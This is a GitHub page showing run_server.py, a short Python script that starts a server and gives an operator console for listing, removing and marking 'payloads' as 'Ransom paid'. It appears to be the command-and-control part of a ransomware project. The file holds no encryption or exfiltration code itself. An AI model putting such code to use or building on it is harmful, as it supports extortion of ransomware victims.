-
Notifications
You must be signed in to change notification settings - Fork 2
/
run_server.py
40 lines (36 loc) · 1.23 KB
/
run_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from server.server import Server
import threading, time
def run(ip, port):
# requests for ip and port address if not provided
if not ip:
ip = input("Insert server's IP address: ")
if not port:
port = int(input("Insert server's port: "))
server = Server()
t = threading.Thread(target=server.start, args=(ip, port, True,), daemon=True)
t.start()
time.sleep(0.1)
while True:
command = input('>>> ')
if command == 'all':
server.database.print()
elif command.split(' ')[0] == 'pl':
payload_id = command.split(' ')[1]
command = command.split(' ')[2]
print (command)
# release payload's ransom
if command == "paid":
pl = server.database.get(payload_id)
if pl:
pl.status = "Ransom paid"
else:
print ("Payload not found")
elif command == "remove":
server.database.remove(payload_id)
else:
payload_id = command.split(' ')[1]
server.database.print_payload(payload_id)
elif command == 'q':
server.stop()
break
run("127.0.0.1", 46587)